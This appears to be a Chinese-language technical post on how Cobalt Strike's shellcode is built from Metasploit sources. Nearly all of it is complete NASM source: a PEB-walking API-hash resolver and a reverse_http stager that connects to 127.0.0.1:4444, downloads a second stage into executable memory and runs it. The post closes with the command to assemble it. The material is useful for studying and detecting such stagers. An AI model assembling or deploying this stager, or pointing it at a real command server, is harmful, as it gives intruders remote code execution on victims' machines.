说明
CobaltStrike 中的 ShellCode 是参照了 MSF 中的 ShellCode 源码,最终看 sRDI 是否成功。
相关代码
以下列出示例中的部分:
test.asm
[BITS 32]
cld
call start
%include "block_api.asm"
start:
pop ebp
%include "block_reverse_http.asm"
block_api.asm
;-----------------------------------------------------------------------------;
; https://www.vergiliusproject.com/
;-----------------------------------------------------------------------------;
[BITS 32]
api_call:
pushad ;保护现场,除了 EAX 和 ECX
mov ebp, esp ;开辟栈帧
xor edx, edx ;将 EDX 清零
mov edx, [fs:edx+0x30] ;获取 PEB 结构指针
mov edx, [edx+0xc] ;获取 PEB->Ldr 结构指针
mov edx, [edx+0x14] ;从 InMemoryOrderModuleList 中获取第一个模块
;模块链表 (以内存位置排序) -> _LDR_DATA_TABLE
next_mod:
;_LDR_DATA_TABLE_ENTRY -> 偏移 0x24 处 _UNICODE_STRING FullDllName
;struct _UNICODE_STRING
;{
; USHORT Length; // 0x0
; USHORT MaximumLength; // 0x2
; WCHAR* Buffer; // 0x4
;}
mov esi, [edx+0x28] ;获取模块名的指针 (unicode 字符串) -> Buffer
movzx ecx, word [edx+0x26] ;将 ECX 设置为长度
xor edi, edi ;清除 EDI,EDI 将存储模块名的哈希值
loop_modname:
xor eax, eax ;清除 EAX
lodsb ;读取名称的下一个字节
cmp al, 'a' ;某些版本的 windows 的模块名使用小写
jl not_lowercase
sub al, 0x20 ;如果是,刚标准化大写
not_lowercase:
ror edi, 0xd ;将哈希值进行 ror
add edi, eax
dec ecx
jnz loop_modname
;现在我们已经有了计算好的模块哈希值 -> EDI
push edx ;储存当前模块 _LDR_DATA_TABLE_ENTRY 的指针值
push edi ;储存当前模块的哈希值
;继续迭代导出表 EAT
mov edx, [edx+0x10] ; _LDR_DATA_TABLE_ENTRY -> DllBase (偏移 0x10 处)
mov eax, [edx+0x3c] ;获取 PE 头,IMAGE_DOS_HEADER -> e_lfanew (0x3c)
add eax, edx ;此时 EAX 为模块真正 PE 头
mov eax, [eax+0x78] ;获取导出表 RVA,偏移 0x78
;NT 头前两个成员 (特征和文件头) 占 0x4 + 0x14 = 0x18 字节
;NT 头中最后一个成员可选头中前 30 个字段占 0x60 字节
test eax, eax ;如果不存在导出表
jz get_next_mod1 ;则获取下一个模块
add eax, edx ;当前模块的 EAT 的 RVA 与模块基地址相加
push eax ;存储 EAT
mov ecx, [eax+0x18] ;获取 EAT 中函数数量,EAT 结构中偏移 0x18 处
mov ebx, [eax+0x20] ;获取函数名的 RVA
add ebx, edx ;与模块基地址相加,EBX = 函数 RVA + 模块基地址
;得到函数地址,存储在 EBX 中
;计算模块哈希和函数名哈希
get_next_func:
test ecx, ecx ;从 jecxz 更改为适应下面随机 jmps 产生的较大偏移量
jz get_next_mod ;如果 EAT 函数名数量没有,则处理下一个模块
dec ecx ;函数数量自减
mov esi, [ebx+ecx*4] ;获取下一个模块的 RVA
add esi, edx ;与模块基地址相加,ESI = 模块 RVA + 模块基地址
;即下一个模块的地址
xor edi, edi ;将 EDI 清零,准备用来存储函数名哈希
;与我们想要的那个进行比较
loop_funcname:
xor eax, eax ;将 EAX 清零
lodsb ;读取函数名 ASCII 的下一个字节
ror edi, 0xd ;将哈希值进行 ror
add edi, eax ;与下一个字节相加
cmp al, ah ;将 AL (名称的下一个字节) 与 AH (null) 进行比较
jne loop_funcname ;如果还没有到达空终止符,继续
add edi, [ebp-8] ;将当前模块哈希与函数哈希相加
cmp edi, [ebp+0x24] ;将哈希值与我们要搜索的哈希值进行比较
jnz get_next_func ;如果没有找到,就去计算下一个函数哈希
;如果找到,则修复堆栈,调用函数,然后计算下一个值......
pop eax ;恢复当前模块的 EAT
mov ebx, [eax+0x24] ;获取 ordinal table 的 RVA
add ebx, edx ;与模块基地址相加
mov cx, [ebx+ecx*2] ;获取所需的函数序号
mov ebx, [eax+0x1c] ;获取函数地址表的 RVA
add ebx, edx ;与模块基地址相加
mov eax, [ebx+ecx*4] ;获取所需函数的 RVA
add eax, edx ;与模块基地址相加
;现在修复堆栈并执行对所需函数调用......
finish:
mov [esp+0x24], eax ;使用所需的 API 地址覆盖旧的 EAX 值
pop ebx ;清除当前模块哈希
pop ebx ;清除模块列表中的当前位置
popad ;恢复所有被破坏的调用寄存器,除 EAX、ECX 和 EDX 外
pop ECX ;恢复
pop EDX ;恢复
push ECX ;push 正确的返回值
jmp eax ;跳转到所需的函数那边
;现在能返回到正确的调用处
get_next_mod:
pop eax
get_next_mod1:
pop EDI ;与第 39 行对应
pop edx ;与第 38 行对应
mov edx, [edx] ;获取下一个模块
jmp next_mod
block_reverse_http.asm
;-----------------------------------------------------------------------------;
; Author: HD Moore
; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000
; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1)
; Version: 1.0
;-----------------------------------------------------------------------------;
[BITS 32]
%ifdef ENABLE_SSL
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 | 0x00800000 | 0x00002000 | 0x00001000 )
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 | ; INTERNET_FLAG_NO_UI
;0x00800000 | ; INTERNET_FLAG_SECURE
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
%else
%define HTTP_OPEN_FLAGS ( 0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 | 0x00000200 )
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00000200 ; INTERNET_FLAG_NO_UI
%endif
; Input: EBP must be the address of 'api_call'.
; Output: EDI will be the socket for the connection to the server
; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
set_retry:
push byte 8 ; retry 8 times should be enough
pop edi
xor ebx, ebx ; push 8 zeros ([1]-[8])
mov ecx, edi
push_zeros:
push ebx
loop push_zeros
internetopen:
; DWORD dwFlags [1]
; LPCTSTR lpszProxyBypass (NULL) [2]
; LPCTSTR lpszProxyName (NULL) [3]
; DWORD dwAccessType (PRECONFIG = 0) [4]
; LPCTSTR lpszAgent (NULL) [5]
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
internetconnect:
; DWORD_PTR dwContext (NULL) [6]
; dwFlags [7]
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ebx ; password (NULL)
push ebx ; username (NULL)
push dword 4444 ; PORT
call got_server_uri ; double call to get pointer for both server_uri and
server_uri: ; server_host; server_uri is saved in EDI for later
db "/12345", 0x00
got_server_host:
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
httpopenrequest:
; dwContext (NULL) [8]
push HTTP_OPEN_FLAGS ; dwFlags
push ebx ; accept types
push ebx ; referrer
push ebx ; version
push edi ; server URI
push ebx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
xchg esi, eax ; save hHttpRequest in esi
send_request:
%ifdef ENABLE_SSL
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
push byte 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hHttpRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
%endif
httpsendrequest:
push ebx ; lpOptional length (0)
push ebx ; lpOptional (NULL)
push ebx ; dwHeadersLength (0)
push ebx ; lpszHeaders (NULL)
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz short allocate_memory
try_it_again:
dec edi
jnz send_request
; if we didn't allocate before running out of retries, fall through to
; failure
failure:
push 0x56A2B5F0 ; hardcoded to exitprocess for size
call ebp
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push ebx ; NULL as we dont care where the allocation is
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
execute_stage:
ret ; dive into the stored stage address
got_server_uri:
pop edi
call got_server_host
server_host:
db "127.0.0.1", 0x00
汇编使用的是 NASM 汇编,通过查看 MSF 中编译 ShellCode 的脚本,编译命令如下:
nasm -f bin -O3 -o xxxxxxx.bin xxxxxxx.asm
可用此生成的 bin 文件对比 CS 客户端生成相对应的 reverse_http 的二进制作对比。